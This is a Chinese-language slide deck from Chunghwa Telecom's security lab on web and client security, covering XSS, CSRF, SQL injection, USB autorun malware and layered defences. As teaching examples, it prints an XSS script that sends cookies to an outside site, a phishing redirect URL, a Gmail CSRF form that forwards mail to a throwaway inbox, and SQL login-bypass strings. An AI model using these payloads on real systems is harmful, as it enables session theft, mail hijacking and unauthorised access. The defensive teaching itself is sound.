540 likes | 1.21k Views
資通安全的實務面與安全機制. 中華電信研究所 資通安全研究室. 問題在哪裡 ?. 資料來源 : TrandMicro. 過去一年內,被植入惡意程式的國內網站達 383 個, 純粹遭入侵的網站則高達 1,483 個. 安全問題被重視. 80Port 的攻擊. 圖檔資料來源 : TrandMicro. 竊取資料. 殭屍網路 惡意連結. 瀏覽網頁. 取得資料. SQL injection. 5. 竊取資訊至伺服器. 4. 植入惡意程式碼. 3. 背景導向惡意連結. 2. 植入惡意連結. 藉由 HTTP 散播的攻擊手法. 瀏覽者. 知名網站. 犯罪者.
E N D
資通安全的實務面與安全機制 中華電信研究所 資通安全研究室
問題在哪裡? 資料來源: TrandMicro 過去一年內,被植入惡意程式的國內網站達383個, 純粹遭入侵的網站則高達1,483個 安全問題被重視 80Port 的攻擊 圖檔資料來源: TrandMicro
竊取資料 殭屍網路惡意連結 瀏覽網頁 取得資料 SQL injection 5.竊取資訊至伺服器 4.植入惡意程式碼 3.背景導向惡意連結 2.植入惡意連結 藉由 HTTP 散播的攻擊手法 瀏覽者 知名網站 犯罪者 Web Threats !! 1.攻擊網站漏洞 資料來源: TrandMicro
攻擊的3大主流與防衛4大構面 近年來攻擊目標已集中在Web AP(網站)攻擊、Phising、無線網路攻擊以及USB病毒
Web AP(網站)安全 Microsoft人員必讀 太多攻擊 SQL Injection, XSS, Phising… IDC統計: 超過75%的網路資安事件是針對 Web應用程式而來 06年底無名小站遭XSS攻擊 IPS/Web AP FireWall Source Code Scan (Code Review) … 網站防竄改系統 Vulnerability Audit Penetration Test
Web AP 安全設定 架設系統階段之安全設定 網路 主機 應用程式 Web AP Firewall / IDS 版本更新 版本更新 程式撰寫準則 服務最小化 ex: Port 80.443 靜態檢查 (原始碼檢測) 避免使用 預設密碼 動態檢查 (沙箱測試、錯誤植入測試) 維護階段之安全設定 網路 主機 應用程式 版本更新 版本更新 更新設備 檢視與分析日誌記錄 備援機制 弱點掃描 滲透測試 備援機制 備援機制
XSS(Cross-Site Scripting) Injection 為了與CSS(Cascading Style Sheet)區別將此縮寫為XSS 那有沒有CSS攻擊? YES CSS重新定義讓User不查點選 惡意攻擊者往Web頁面裏插入惡意html代碼,當用戶瀏覽該頁之時,嵌 入其中Web裏面的html代碼會被執行,從而達到惡意用戶的特殊目的 XSS was discovered on or before 1996 • 使加密連線失效,駭客竊取使用者的個人資料。 • 駭客可冒用使用者身分,存取具身分控管機制的網站。 • 重導瀏覽器連線釣魚網站,以騙取帳號密碼等個人資訊。 • 將使用者瀏覽器導向惡意網站,下載並安裝惡意後門程式於使用者電腦中。 • 導致使用者瀏覽器無法正常運作。
XSS例子 Rick是一個惡意的使用者,他在 Joe 的網站註冊了個帳號並且完成他的個人資料頁 面填寫。在他的個人資料中包含了下面這樣一段文字: <script>alert('Hello World');</script> 當 Joe (或其他人) 瀏覽 Rick 的個人資料,他就會看到一個討厭的彈出式視窗 Rick 有點狡猾,在Joe網站上的BLOG評論放置了下面這樣的程式碼: <a href="/usercp.php?action=logout">一個關於貓的網頁</a> 當 Joe (或其他人) 點選了連結,以為會看到一個關於貓的網頁,卻會因此登出這個網站 Rick 在 Joe 頁面上的留言放入了下面程式碼: <script>location.replace('http://rickspage.com/?secret='+document.cookie)</script> 當 Joe (或其他人) 瀏覽留言板,他就會被引導到 Rick的網站。麻煩的是,Joe瀏覽器 紀錄連線資訊的 cookie 被當作網址的一部分傳遞到 Rick 的網頁伺服器。
XSS攻擊手法 釣魚 竊取 Mail告訴您有“好處” 馬上去 HTML EvilScript HTML EvilScript HTML EvilScript` HTML HTML HTML
XSS 釣魚 實例 網站原始頁面:網址http://1X.XX.XXX.3/mXX/frame.jsp會自動導到http://1X.XX.XXX.3/mXX/index.jsp 使用javascript 的script方式測試弱點型態 反射內容剛好在<frame> 內的src 標籤,因此判斷應該使用這項特性配合釣魚攻擊來滲透。 在http://10.144.118.230:8080/下設置兩支程式 fish-login.jsp及cachepswd.jsp http://1X.XX.XXX.3/mXX/frame.jsp?url=http://10.144.118.230:8080/fish-login.jsp http://1X.XX.XXX.3/mXX/frame.jsp?url=%68%74%74%70%3a%2f%2f%31%30%2e%31%34%34%2e%31%31%38%2e%32%33%30%3a%38%30%38%30%2f%66%69%73%68%2d%6c%6f%67%69%6e%2e%6a%73%70 帳號密碼 已被竊取
CSRF(XSRF) Cross-site Request Forgery Session Riding, One-Click Attacks, Cross Site Reference Forgery, Hostile Linking, Automation Attack 跨站冒名請求 The first CSRF was documented in May 2000! A CSRF attack forces a logged-on victim’s browser to send a request to a vulnerable web application, which then performs the chosen action on behalf of the victim. OWASP TOP 10 2007
CSRF實例 Gmail事件 2007-09 資料來源: CLIENT-SIDE SECURITY Overview of various Client-Side Hacking Tricks and Techniques <html><body> <form name="form" method="POST" enctype="multipart/form-data" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf"> <input type="hidden" name="cf2_emc" value="true"/> <input type="hidden" name="cf2_email" value="evilinbox@mailinator.com"/> <input type="hidden" name="cf1_from" value=""/> <input type="hidden" name="cf1_to" value=""/> <input type="hidden" name="cf1_subj" value=""/> <input type="hidden" name="cf1_has" value=""/><input type="hidden" name="cf1_hasnot" value=""/> <input type="hidden" name="cf1_attach" value="true"/> <input type="hidden" name="tfi" value=""/> <input type="hidden" name="s" value="z"/> <input type="hidden" name="irf" value="on"/> <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form><script>form.submit()</script></body></html> http://www.gnucitizen.org/util/csrf? _method=POST&_enctype=multipart/form-data&_action=https %3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv %3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to &cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cft b=Create%20Filter
XSS and CSRF XSS was discovered on or before 1996 Did it really take around 4 years for us to discover CSRF? The first CSRF was documented in May 2000! CSRF某程度上是一種XSS的應用! CSRF的要素: User登入/壞人偽造Request JavascriptHijacking某程度上是一種CSRF的應用! 以上的說法僅為基本實務上的認知,不盡然為正確! 目前較嚴謹的定義可參考OWASP Top Ten
Javascript Hijacking 許多網站皆引入 Web 2.0 的概念,大量使用 Ajax 與 JSON 技術, 透過非同步載入資料的方式,提供許多互動功能。這些載入資料 就是 JavaScript Hijacking 的目標。 JSON Script連結 繼承物件 取出資料 http://blog.roodo.com/rocksaying/archives/2955557.html
XSS and CSRF 圖說 偽造原使用者置入 Gmail Filter規則, 使原使用者的Gmail信件都轉寄到指定的地方或直接取得原使用人的通訊錄 引誘你點選連結 引誘你點選連結 Gmail CSRF漏洞(2007-09)
CSRF防範 Ensure that there are no XSS vulnerabilities in your application Insert custom random tokens into every form and URL For sensitive data or value transactions, re-authenticate or use transaction signing Do not use GET requests (URLs) for sensitive data or to perform value transactions POST alone is insufficient a protection 安全碼/ One Time Password
SQL Injection • SQL Injection (SQL 指令植入式攻擊,資料隱碼攻擊),屬於Input Validation 的問題。 • SQL Injection攻擊法並非植入電腦病毒,它是描述一個利用寫入特殊SQL程式碼攻擊應用程式的動作。 select * from member where UID =' "& request("ID") &" ‘ And Passwd =' "& request("Pwd") & " ' • 若攻擊者已知系統中有一個Admin的管理者帳號,則輸入Admin '--, • 則Server端程式將之處理成 select * from member where UID =' Admin '-- ‘ And Passwd =' ' • 此意謂: 可不須輸入密碼而進入資料庫 • -- 符號後的任何敘述都會被當作註解 (以上面為例,And子句將被SQL視為說明用)
正常連線狀態 資料來源: 網頁的危機與防禦 賴溪松 教授
SQL Injection攻擊 使用者帳號' or 1=1 --,密碼asdf1234(任意輸入) 資料來源: 網頁的危機與防禦 賴溪松 教授
final String custID = httpRequest.getParameter("custID"); final String sql = “Select * From Customer Where CustomerID = ‘” + custID + “’" Select * From Customer Where CustomerID = 'cust1' or 1=1 -- '
防止SQL Injection建議事項 • 查詢參數過濾 • 過濾特殊字元 • 輸出驗証 • 限制輸入格式 • 密碼 (A~Z, 0~9) • Email Address • 輸入長度檢查 • 最大輸入字串長度檢查 • ErrorHandling • 資料庫權限設定 • 個別資料庫 Role 與 Login/User。
防止SQL Injection實務例 • ASP SqlCheckInclude.asp http://blogs.iis.net/nazim/archive/2008/04/28/filtering-sql-injection-from-classic-asp.aspx <!--#include file="SqlCheckInclude.asp"--> <% Response.Write("Welcome to the Test Page.") Response.Write("If you are seeing this page then SQL validation succeeded.") %> • Java/JSP 使用PreparedStatement • mod_security 是 Apache 的一個模組可以提供入侵偵測及防禦,它就如同是web應用程式的防火牆可以用來抵擋知名及不知名的攻擊如 SQL injection attacks 、cross-site scripting、path traversal attacks • http://www.unixwiz.net/techtips/sql-injection.html
軟體開發之資訊安全管理問題 SDLC SecSDLC System Development Life 產品銷售/維護階段 測試階段 設計階段 程式開發階段 概念 完成設計 測試計畫 完成程式 完成測試 上線/銷售 安全小組 查核 安全程式開發準則 教育訓練 白箱測試 黑箱測試
Microsoft Team Developer • 程式碼分析工具 (Static code analysis) • 效能分析工具 • 高度整合 Unit testing 及 Code coverage工具 • Microsoft 內部開發相關產品所採用的工具 J2EE PHP ASP IBM Rational AppScan
Client 端安全與上網安全 釣魚網站 網頁木馬 不當下載 … 不下載沒簽章的元件 不隨意下載資料 安裝反間諜軟體 安裝更新檔 安裝反毒軟體 不到列為黑名單的網站 2008/05/06Yahoo整合McAfee SiteAdvisor到期Search中
上網時問題網站提醒 只是一種參考與提醒
終端防護 Safed End-Point Device
關於USB的防護 • USB病毒主要是利用autorun.inf將病毒植入電腦主機,或反向從遭感染的主機把病毒散播到各種USB介面的儲存裝置中。就是因為具有這種雙向傳遞的方式,病毒才能在電腦及USB儲存裝置中不斷擴散,而autorun.inf就是最主要的媒介。 • 身邊的所有的USB儲存裝置,都要清查裡頭是否有兩個隱藏檔 Autorun.infntdelect.com • 防護測試 • Autorun.inf 的唯讀資料夾 ----- OK • 機碼啟動隨身碟的唯讀功能 ---無效 • shift 鍵開啟隨身碟 ----------------無效 • 隨身碟磁區上右鍵開啟檔案總管 -------------無效 • 機碼關掉自動啟動功能 --------------------------無效 Wow! USB Protector OpenSource Ruby
通道安全 Sniffer竊聽 無線網路安全 SSL WiFi WPA加密 uGate SSL IDS/IPS
防衛4大構面的安全架構 原始碼掃瞄 弱點掃瞄 上線檢查系統 政策面 資安規範自檢 滲透測試 資安委員會 教育面 舉辦資安教育訓練 IRMAS PKI NIAS SSO 技術面 … 帳號集中 防毒軟體 OTP登入 稽核面 資安規範自檢 弱點掃瞄 滲透測試
安全的第一步--政策面落實 即將上線系統 效能檢測 上線檢查系統 … 安全檢測 已上線系統 資安規範自檢 弱點掃瞄 原始碼掃瞄 滲透測試 IRMAS Server版 LDAP 密碼政策與查驗 IRMAS: 針對Client端進行安全檢查 Symantec: 針對Client端進行防毒 針對Web Ap系統的安全預先防衛 針對資安規範進行全面例行檢查
技術面--常見的威脅與防衛措施 NIAS SSO IC卡登入 防毒軟體 OTP登入 IRMAS IRMAS 圖形密碼 uGate SSL VPN 兩階段登入 IDS/IPS 弱點掃瞄/滲透測試
稽核面--定期或即時弱點掃瞄分析與補強 即時安全監控處理 SOC
滲透測試 V.S.駭客攻擊 駭客只需知道 (點) How :如何入侵? Why :為什麼可以入侵成功 滲透測試則需要知道(面) How :如何進行入侵 Why :為什麼可以入侵成功 What :探測什麼 Which :需要哪些條件或工具 When :什麼是最好時機 只需找到一種入侵的方法 各種潛在可能入侵成功的方法/甚至進行驗證 資料來源: 網頁的危機與防禦 賴溪松 教授
滲透測試 V.S. 弱點掃描 弱點掃描使用自動化的掃描工具檢查伺服器上的安全弱點 不真正執行弱點攻擊程式 測試已知的系統安全弱點 只是滲透測試的一個步驟 滲透測試不只是掃描,同時亦試驗攻擊程式以取得遠端伺服器的控制 真正執行弱點攻擊程式 包含完整的入侵及人和試探可能的系統弱點的存在 資料來源: 網頁的危機與防禦 賴溪松 教授
何種安全機制之組合比較安全 ? Client端 Web AP/Server 節能管理 安全設定準則 弱點分析 風險程式 滲透測試 原始碼檢查 防毒軟體安裝 修正檔管理 NIAS SSO與帳號集中管理 電腦安全設定檢查 IRMAS 手機OTP USB Lockdown IRMAS Server版Agent開發 3G 網卡/Modem Lockdown 圖形影像密碼與兩階段密碼 已完成 USB Virus Detector 開發中 IDS/IPS 研究或待引進 uGate SSL VPN 落實資安規範
可以研究與發展的課題 中文與知識安全碼 床前明月洸 光 床前 月光 明 3X6+7= 25 打狗是指現在的哪裡 高雄
可以研究與發展的課題 Graphic Password Pass-Go 2006 http://www.passgo.net/ User畫上點或形狀及其位置為 輸入資訊避免鍵盤測錄、避免 網路竊聽並提高複雜度
設定好圖章後,登入一旦發現圖章消失,請提高警覺設定好圖章後,登入一旦發現圖章消失,請提高警覺 網站識別標幟 Yahoo Sign-in Seal : 只能用同一Browser且同一電腦 兩階段帳號密碼 : 完美而無上述問題
可以研究與發展的課題 兩階段帳號密碼 1.網路釣魚 2.Off line破解 ID Password 比Yahoo安全圖章厲害 (可以在不同電腦上使用) User自定圖章 ID Password 1.網路釣魚 2.Off line破解 X 1.先輸入ID以及提示的安全碼 2.確認回傳的圖是您原先所指定的圖再輸入密碼
可以研究與發展的課題 WebScarab Nikto WebGoat Wow!USB Protector Web網路安全 BlueTooth安全 NFC手機安全 無線網路安全 資安攻擊技術 攻擊行為分析技術